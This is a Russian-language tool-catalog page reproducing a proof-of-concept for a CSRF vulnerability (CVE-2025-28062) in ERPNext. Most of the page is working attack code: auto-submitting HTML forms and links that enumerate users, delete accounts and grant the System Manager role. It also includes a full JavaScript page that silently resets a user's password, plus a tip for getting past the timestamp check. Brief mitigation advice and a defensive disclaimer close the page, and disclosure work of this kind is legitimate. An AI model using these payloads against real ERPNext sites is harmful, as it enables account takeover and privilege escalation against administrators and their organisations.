Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-28062 — доказательство концепции | Kitploit
Инструменты/GitHubGitHub/thvt0ne/cve-2025-28062
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubthvt0ne/cve-2025-28062

CVE-2025-28062

доказательство концепции

Репозиторий
21 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-28062 — CSRF-уязвимость, ведущая к захвату учетных записей в ERPNext 14.82.1, 14.74.3

📌 Краткое описание

В ERPNext 14.82.1 и 14.74.3 была обнаружена уязвимость Межсайтовая подделка запроса (CSRF), позволяющая злоумышленникам выполнять несанкционированные действия, такие как:

  • Перечисление пользователей
  • Захват учетных записей (сброс пароля)
  • Произвольное удаление пользователей
  • Повышение привилегий (добавление ролей)

Уязвимость возникает из-за отсутствия защиты CSRF на критических административных конечных точках API. Если аутентифицированный администратор посещает вредоносный веб-сайт, его сессия используется для выполнения этих действий без согласия.


🛠 Технические детали

  • Тип уязвимости: CSRF (CWE-352)
  • Затронутый продукт: ERPNext
  • Версии: 14.82.1, 14.74.3
  • Серьезность: Высокая
  • Оценка CVSS v3.1: 8.1
  • Статус: Не исправлено
  • Обнаружено: Ahmed Thaiban Thvt0ne.
  • Дата обнаружения: 2025-02-09
  • Идентификатор CVE: CVE-2025-28062 (Зарезервирован)

🚀 Доказательства концепции (PoC)

1. Перечисление пользователей

root@kitploit:~
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
  <input type="hidden" name="doctype" value="User">
  <input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
  <input type="hidden" name="view" value="List">
  <input type="hidden" name="page_length" value="100">
  <input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>

2. Удаление пользователя

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
  Click to delete user
</a>

3. Добавление привилегированной роли любому пользователю

root@kitploit:~
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
  Add "System Manager" role to user
</a>

💡 Полную полезную нагрузку JSON см. в репозитории: /PoCs/privilege_escalation.html


4. Изменение пароля любого пользователя

root@kitploit:~
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack</title>
</head>
<body>
    <script>
        function performCSRF() {
            // Target API URL
            var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs"; 

            // JSON Payload
            var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});

            
            var encodedPayload = (jsonPayload);  

            // Create and submit the form
            var form = document.createElement("form");
            form.method = "GET";
            form.action = targetUrl;
            form.enctype = "application/x-www-form-urlencoded";  

            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "doc";  // Correct parameter name
            input.value = encodedPayload;  // Correct encoding
            
            var input2 = document.createElement("input");
            input2.type = "hidden";
            input2.name = "action";  // Correct parameter name
            input2.value = "Save";  // Correct encoding
            
            
            form.appendChild(input);
            form.appendChild(input2);
            document.body.appendChild(form);
            form.submit();
        }

        // Execute CSRF after waiting to ensure cookies are set
        setTimeout(performCSRF, 3000);
    </script>
</body>
</html>

Это изображение моделирует ситуацию, когда администратор заходит на вредоносный веб-сайт: изображение

Примечание: если измененные метки времени устаревшие, сайт может выдать такое сообщение: изображение

и чтобы обойти это, используйте http:// localhost:8080/api/resource/User/[email protected][owner] html page и возьмите метку времени изменения (для упрощения PoC).

изображение

Измените его в содержимом страницы на более новое:

изображение

Как только вы отправите это, пароль пользователя изменится!!.

изображение

Если аутентифицированный администратор посещает эту веб-страницу, его сессия будет использована для выполнения запроса на изменение пароля учетной записи без какого-либо взаимодействия.


🧪 Сценарий эксплуатации

Злоумышленник размещает вредоносную страницу. Если администратор ERPNext заходит на нее, будучи авторизованным, его браузер автоматически отправляет поддельные запросы к ERPNext, вызывая модификацию или удаление учетных записей без его ведома.


🔐 Рекомендации по смягчению

  • Применение CSRF-токенов на всех конечных точках, изменяющих состояние
  • Запрет GET-запросов для действий, таких как сохранение/удаление
  • Пометка файлов cookie аутентификации с помощью SameSite=Strict
  • Требование повторной аутентификации для критических действий (например, изменение пароля, изменение ролей)

🔗 Ссылки

  • ERPNext на GitHub
  • Ahmed Thaiban – LinkedIn
  • Руководство OWASP по CSRF

🙏 Благодарности

Обнаружено Ahmed Thaiban Thvt0ne.


📢 Отказ от ответственности

Это исследование предназначено только для защитных целей. Цель — повысить осведомленность и поощрять практики безопасной разработки.

Скачать инструмент